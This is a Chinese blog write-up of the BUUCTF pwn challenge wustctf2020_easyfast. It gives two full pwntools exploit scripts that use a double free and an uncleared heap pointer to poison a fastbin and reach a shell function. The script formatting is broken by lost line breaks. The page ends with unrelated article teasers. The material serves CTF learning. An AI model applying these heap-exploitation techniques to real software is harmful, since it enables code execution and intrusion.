[BUUCTF]-PWN:wustctf2020_easyfast解析

又是堆题,查看保护

再看ida

大致就是alloc创建堆块,free释放堆块,fill填充堆块,以及一个getshell的函数,但要满足条件。

值得注意的是free函数没有清空堆块指针

所以可以用double free

有两种解法

解法一(double free):

完整exp:

from pwn import*
context(log_level='debug')
p=process('./easyfast')
target=0x602090def alloc(size):p.sendlineafter(b'choice>',str(1))p.sendlineafter(b'size>',str(size))
def free(index):p.sendlineafter(b'choice>',str(2))p.sendlineafter(b'index>',str(index))
def fill(index,content):p.sendlineafter(b'choice>',str(3))p.sendlineafter(b'index>',str(index))p.send(content)
def shell():p.sendlineafter(b'choice>',str(4))alloc(0x40) #这两个堆块的大小需要为0x50,所以申请0x40
alloc(0x40)
free(0)
free(1)
free(0)
payload=p64(target-0x10)
fill(0,payload)
alloc(0x40)
alloc(0x40)
payload=p64(0)
fill(3,payload)
shell()
p.interactive()

在这个方法中我们释放了两次chunk0,接下来再填充chunk0的fd就可以达到在任意地址创建堆块的目的。

上图是释放两次堆块0,并且往堆块0的fd指针填充地址后的fastbin

并且还要注意,我们可以在那里创建堆块的必要条件是可以找到类似推头,从而绕开malloc的检查,否则行不通。题目故意设置了0x50,所以我们申请的堆块大小也要为0x50

解法二:

完整exp:

from pwn import*
context(log_level='debug')
p=process('./easyfast')
target=0x602090def alloc(size):p.sendlineafter(b'choice>',str(1))p.sendlineafter(b'size>',str(size))
def free(index):p.sendlineafter(b'choice>',str(2))p.sendlineafter(b'index>',str(index))
def fill(index,content):p.sendlineafter(b'choice>',str(3))p.sendlineafter(b'index>',str(index))p.send(content)
def shell():p.sendlineafter(b'choice>',str(4))alloc(0x40)
alloc(0x80) #这个堆块只是防止释放堆块后被top chunk合并
free(0)
payload=p64(target-0x10)
fill(0,payload)
alloc(0x40)
alloc(0x40)
payload=p64(0)
fill(2,payload)
shell()
p.interactive()

这个方法较简便一点,没有free两次,而是借助未清零的堆块指针,直接填充fd

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/672127.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【Linux】打包压缩跨系统/网络传输文件常用指令完结

Hello everybody!在今天的文章中我会把剩下的3-4个常用指令讲完,然后开始权限的讲解。那废话不多说,咱们直接进入正题! 1.zip/unzip&tar命令 1.zip/unzip 在windows系统中,经常见到带有zip后缀的文件。那个东西就是压缩包。…

杭州融资融券利率一般最低是4.5%,两融有哪些核心注意事项?

融资融券利率行情 使用融资融券账户的投资者越来越多,对于准备开两融和想换两融券商的投资者来说,最关心的就是两融利率以及开两融或者换券商的便捷程度了。 目前市场上最低的融资融券利率是4.5%~5%,普遍的两融利率一般在5%-6.5%&#xff0…

龙芯安装使用搜狗输入法

CPU:龙芯3A6000 操作系统:Loongnix 桌面主题:Cartoon 龙芯系统切换输入法的按键一般为:Ctrl空格。 1 安装搜狗输入法 进入Loongnix系统自带的龙芯应用合作社,寻找搜狗输入法,点击安装。 按下Ctrl空格&…

计算机网络——网络

计算机网络——网络 小程一言专栏链接: [link](http://t.csdnimg.cn/ZUTXU)前些天发现了一个巨牛的人工智能学习网站,通俗易懂,风趣幽默,忍不住分享一下给大家, [跳转到网站](https://www.captainbed.cn/qianqiu) 无线网络和移动网…

用HTML5 + JavaScript实现下雪效果

用HTML5 JavaScript实现下雪效果 <canvas>是一个可以使用脚本 (通常为JavaScript) 来绘制图形的 HTML 元素。 <canvas> 标签/元素只是图形容器&#xff0c;必须使用脚本来绘制图形。 HTML5 canvas 图形标签基础https://blog.csdn.net/cnds123/article/details/…

ArcGIS的UTM与高斯-克吕格投影分带要点总结

UTM&#xff08;通用横轴墨卡托投影、等角横轴割椭圆柱投影&#xff09;投影分带投影要点&#xff1a; 1&#xff09;UTM投影采用6度分带 2&#xff09;可根据公式计算&#xff0c;带数&#xff08;经度整数位/6&#xff09;的整数部分31 3&#xff09;北半球地区&#xff0…

蓝桥杯Web应用开发-CSS3 新特性

CSS3 新特性 专栏持续更新中 在前面我们已经学习了元素选择器、id 选择器和类选择器&#xff0c;我们可以通过标签名、id 名、类名给指定元素设置样式。 现在我们继续选择器之旅&#xff0c;学习 CSS3 中新增的三类选择器&#xff0c;分别是&#xff1a; • 属性选择器 • 子…

STM32搭建开发环境

常用开发工具简介 集成开发环境 MDK&#xff1a;全名RealViewMDK&#xff0c;是Keil公司&#xff08;已被ARM收购的&#xff09;一款集成开发环境&#xff0c;界面美观&#xff0c;简单易用&#xff0c;是STM32最常用的集成开发环境EWARM&#xff1a;IAR公司的一款集成开发环…

洛谷_P1464 Function_python写法

目录 1.错误解法 2.学习记忆化搜索算法 2.1简介 2.2案例学习 3.解法 4.总结 1.错误解法 a 0 b 0 c 0 def w(a,b,c):if a<0 or b<0 or c<0:return 1elif a>20 or b>20 or c>20:return w(20,20,20)elif a<b and b<c:return w(a-1,b,c) w(a-1,…

Vue源码系列讲解——变化侦测篇【下】(Array的变化侦测)

目录 1. 前言 2. 在哪里收集依赖 3. 使Array型数据可观测 3.1 思路分析 3.2 数组方法拦截器 3.3 使用拦截器 4. 再谈依赖收集 4.1 把依赖收集到哪里 4.2 如何收集依赖 4.3 如何通知依赖 5. 深度侦测 6. 数组新增元素的侦测 7. 不足之处 8. 总结 1. 前言 上一篇文…

Angular学习第三天--问题记录

问题一、 1.问题&#xff1a; An unhandled exception occurred: Unexpected token ?? See "C:\Users\22895\AppData\Local\Temp\ng-D60bgy\angular-errors.log" for further details. 2.原因&#xff1a; node版本过低&#xff0c;项目中angular是17&#xff0c;而…

神经网络 | CNN 与 RNN——深度学习主力军

Hi&#xff0c;大家好&#xff0c;我是半亩花海。本文主要将卷积神经网络&#xff08;CNN&#xff09;和循环神经网络&#xff08;RNN&#xff09;这两个深度学习主力军进行对比。我们知道&#xff0c;从应用方面上来看&#xff0c;CNN 用于图像识别较多&#xff0c;而 RNN 用于…

Abap与eCharts

一&#xff0c;简介 利用html与eCharts来绘图&#xff0c;然后用cl_gui_html_viewer将html呈现到abap屏幕中。 二&#xff0c;使用eCharts画图 在一个文件夹中准备如下文件&#xff0c;index.html和echarts.js是必须的&#xff0c;data.json(作为数据源)和jquery.js如果用到就可…

Linux系统中安装MAVEN

天行健&#xff0c;君子以自强不息&#xff1b;地势坤&#xff0c;君子以厚德载物。 每个人都有惰性&#xff0c;但不断学习是好好生活的根本&#xff0c;共勉&#xff01; 文章均为学习整理笔记&#xff0c;分享记录为主&#xff0c;如有错误请指正&#xff0c;共同学习进步。…

Python程序员面试题精选及解析(2)

本文精心挑选了10道Python程序员面试题&#xff0c;覆盖了Python的多个核心领域&#xff0c;包括装饰器、lambda函数、列表推导式、生成器、全局解释器锁(GIL)、单例模式以及上下文管理器等。每道题都附有简洁的代码示例&#xff0c;帮助读者更好地理解和应用相关知识点无论是对…

Rhino.Inside带材质将Revit模型bake到Rhino

Hello大家好&#xff01;我是九哥~ 今天来讲一个小技巧&#xff0c;就是我通常采用RIR将Revit的模型的Geometry Bake到Rhino&#xff0c;肯定是没有材质的&#xff0c;那么如果我们需要带材质那要怎么办呢&#xff1f; 对于会的人&#xff0c;其实挺简单的&#xff0c;只需要…

可解释性AI(XAI):开启AI决策过程透明化,重塑信任与解决伦理偏见

文章目录 每日一句正能量前言可解释性AI的定义与重要性什么是可解释性&#xff1f;促进技术应用的可信度提高技术的透明度保护隐私和数据权益促进AI的社会接受度 可解释性AI的挑战与难点可解释性AI的应用场景后记 每日一句正能量 宁可因高目标而脖子硬&#xff0c;也不要为低目…

Undertow使用详解

简介 Undertow是一个开源的、灵活的、高性能的非阻塞性应用服务器&#xff0c;由JBoss提供。它可以用作嵌入式服务器&#xff0c;也可以用作大型项目的全功能应用服务器。Undertow的设计以提供最高的性能和最大的灵活性为主要目标&#xff0c;支持非阻塞性和阻塞性处理方式&…

openkylin(Debian系)安装nginx及安装前需要的准备

前言 现在很多linux系统都可以使用高级包管理工具安装软件了&#xff0c;但是在像是 openkylin这些新系统中&#xff0c;好多软件包虽然有&#xff0c;但是因为其依赖的包还没有做好&#xff0c;所 以安装会提示你一大堆依赖错误。所以还是要自己来编译安装咯。安装前准备&…

RCS系统之:机器人状态

在设计RCS系统平台时&#xff0c;机器人总共设计状态有&#xff1a; 离线模式&#xff1b; 如图&#xff0c;18号机器人呈灰黑色&#xff0c;表示机器人没有上电状态 工作模式&#xff1b; 如图&#xff0c;10号机器人成绿色&#xff0c;表示机器人处于工作模式&#xff0c;等…